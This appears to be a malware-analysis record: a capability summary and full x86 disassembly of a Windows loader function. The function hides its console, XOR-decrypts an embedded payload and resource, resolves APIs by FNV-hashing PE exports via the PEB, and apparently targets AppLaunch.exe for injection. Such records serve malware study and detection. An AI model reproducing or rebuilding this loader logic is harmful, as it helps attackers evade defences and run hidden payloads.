Function at 0x423650
Capabilities:
Access peb ldr_data
Encode data using xor
Get system information on windows
Hash data using fnv
Hide graphical window
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0xdc408
call fcn.004070e0
mov eax, dword [0x433024]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push eax
xor eax, eax
setnp al
push edx
push edi
xor edi, edi
setnp al
push edx
push esi
xor esi, esi
setnp al
push edx
xor edx, eax
shl edx, 2
shl ax, 0x62
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov dword [ebp - 0xdc3f0], 0x2fa360f7
xorps xmm0, xmm0
mov dword [ebp - 0xdc3ec], 0
mov eax, dword [ebp - 0xdc3f0]
mov ecx, dword [ebp - 0xdc3ec]
push 0
movlpd qword [ebp - 0xdc3f0], xmm0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xdc3e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0xdc3f0], 0x27ebebb4
xorps xmm0, xmm0
push 0
mov dword [ebp - 0xdc3ec], 0
mov eax, dword [ebp - 0xdc3f0]
mov ecx, dword [ebp - 0xdc3ec]
push 0x19a3
push 0x1539
movlpd qword [ebp - 0xdc3f0], xmm0
call section..zqHWbqh
mov ecx, 0x1df
mov dword [ebp - 0xdc3ec], 0x4df1a075
mov esi, 0x4245b0
lea edi, [ebp - 0x820]
rep movsd dword es:[edi], dword [esi]
mov eax, 1
lea ecx, [ebp - 0x820]
add esp, 0xc
movsw word es:[edi], word [esi]
xor edi, edi
sub eax, ecx
mov dword [ebp - 0xdc400], eax
mov eax, 0x68168169
lea esi, [ebp - 0x820]
mul edi
mov eax, edi
mov ecx, edi
sub eax, edx
add esi, edi
shr eax, 1
add eax, edx
shr eax, 6
imul eax, eax, 0x5b
sub ecx, eax
movzx eax, byte [ecx + str.s8bgnbk6t7ee2ppd06aft20ifrgw1b3gkvz7fy4z4g0jmztp9sxloiuc8go22fms50itacfzjw9a8y8tu3mm3nyv7g]
xor byte [esi], al
mov eax, 0x68168169
mov ecx, dword [ebp - 0xdc400]
add ecx, esi
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
imul eax, ecx, 0x5b
mov ecx, edi
add edi, 2
sub ecx, eax
movzx eax, byte [ecx + 0x4243e9]
xor byte [esi + 1], al
cmp edi, 0x77e
jb 0x423763
push 0xcae
push 0
push 0x41
movups xmm0, xmmword [str.k_v4.0.30319AppLaunch.exe]
push 0x2b
push 0x4c
push 3
push 0
push 0x4c
push 0x21f
push 0x1a7
push 0
push 0xff98
push 0x21f
push 0x2fd
movups xmmword [ebp - 0x50], xmm0
sub esp, 8
mov eax, dword [0x424474]
movups xmm0, xmmword [0x424454]
mov dword [ebp - 0x20], eax
mov ax, word [0x424478]
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x820]
movups xmm0, xmmword [0x424464]
movups xmmword [ebp - 0x30], xmm0
xorps xmm0, xmm0
movsd qword [esp], xmm0
movsd xmm0, qword [str._np]
push 0x2fc
push 0x2b
push 0
push 0x240
push 0
push 0x36
push 0
push 0x21f
sub esp, 8
movsd qword [esp], xmm0
push 0x36
push 0x77e
push eax
call fcn.004231f0
movups xmm0, xmmword [str.C:WindowsMicrosoft.NETFramewor]
mov eax, dword [0x4244c0]
add esp, 0x74
mov dword [ebp - 0x60], eax
movups xmmword [ebp - 0xa0], xmm0
movups xmm0, xmmword [0x424490]
push 0
movups xmmword [ebp - 0x90], xmm0
movups xmm0, xmmword [0x4244a0]
movups xmmword [ebp - 0x80], xmm0
movups xmm0, xmmword [0x4244b0]
movups xmmword [ebp - 0x70], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0xa
push 0x65
push eax
mov dword [ebp - 0xdc400], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ecx, dword fs:[0x30]
mov dword [ebp - 0xdc404], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0xdc3fc], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0xdc3f8], eax
cmp eax, esi
je 0x42394a
mov edi, dword [eax + 0x18]
test edi, edi
je 0x42394a
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
nop dword [eax]
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0xdc3f4], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x42393d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x423920
cmp esi, 0xaa8ca8f9
je 0x42394e
mov eax, dword [ebp - 0xdc3f4]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x423900
mov ecx, dword [ecx]
jmp 0x4238d2
mov esi, dword [ebp - 0xdc3f8]
mov edx, dword [ebp - 0xdc3fc]
push dword [ebp - 0xdc404]
mov eax, dword [esi + 0x24]
push dword [ebp - 0xdc400]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0xdc3ec], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0xdc3f4], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0xdc3f8], eax
cmp eax, esi
je 0x423a0a
mov edi, dword [eax + 0x18]
test edi, edi
je 0x423a0a
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
nop dword [eax + eax]
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0xdc3fc], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4239fd
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4239e0
cmp esi, 0x81e23ea
je 0x423a0e
mov eax, dword [ebp - 0xdc3fc]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4239c0
mov ecx, dword [ecx]
jmp 0x423990
mov esi, dword [ebp - 0xdc3f8]
mov edx, dword [ebp - 0xdc3f4]
push dword [ebp - 0xdc3ec]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0xdc3f4], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop word [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0xdc3f8], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0xdc3fc], eax
cmp eax, esi
je 0x423aca
mov edi, dword [eax + 0x18]
test edi, edi
je 0x423aca
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
nop dword [eax + eax]
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0xdc3ec], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x423abd
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x423aa0
cmp esi, 0x694fd8fd
je 0x423ace
mov eax, dword [ebp - 0xdc3ec]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x423a80
mov ecx, dword [ecx]
jmp 0x423a50
mov esi, dword [ebp - 0xdc3fc]
mov edx, dword [ebp - 0xdc3f8]
push dword [ebp - 0xdc404]
mov eax, dword [esi + 0x24]
push dword [ebp - 0xdc400]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edi, eax
xor edx, edx
test edi, edi
je 0x423b38
mov eax, dword [ebp - 0xdc3f4]
lea ecx, [ebp - 0xdc3c0]
sub eax, ecx
mov dword [ebp - 0xdc3f4], eax
nop dword [eax]
lea ecx, [ebp - 0xdc3c0]
add ecx, edx
inc edx
mov al, byte [eax + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0xdc3f4]
cmp edx, edi
jb 0x423b20
xor esi, esi
test edi, edi
je 0x423b6b
nop
mov eax, 0x68168169
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
imul eax, eax, 0x5b
sub ecx, eax
mov al, byte [ecx + 0x4244c8]
xor byte [ebp + esi - 0xdc3c0], al
inc esi
cmp esi, edi
jb 0x423b40
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xdc3f8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xdc3fc], ecx
cmp ecx, esi
je 0x423bfa
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x423bfa
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xdc3ec], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x423bed
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x423bd0
cmp esi, 0x2c8ce5d8
je 0x423bfe
mov ecx, dword [ebp - 0xdc3ec]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x423bb0
mov eax, dword [eax]
jmp 0x423b80
mov esi, dword [ebp - 0xdc3fc]
mov edx, dword [ebp - 0xdc3f8]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xa0]
add eax, edx
push ecx
call eax
lea ecx, [ebp - 0xdc3c0]
push ecx
push 0
push eax
lea eax, [ebp - 0x69f]
call eax
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
xor eax, eax
pop edi
pop esi
call fcn.0040701a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret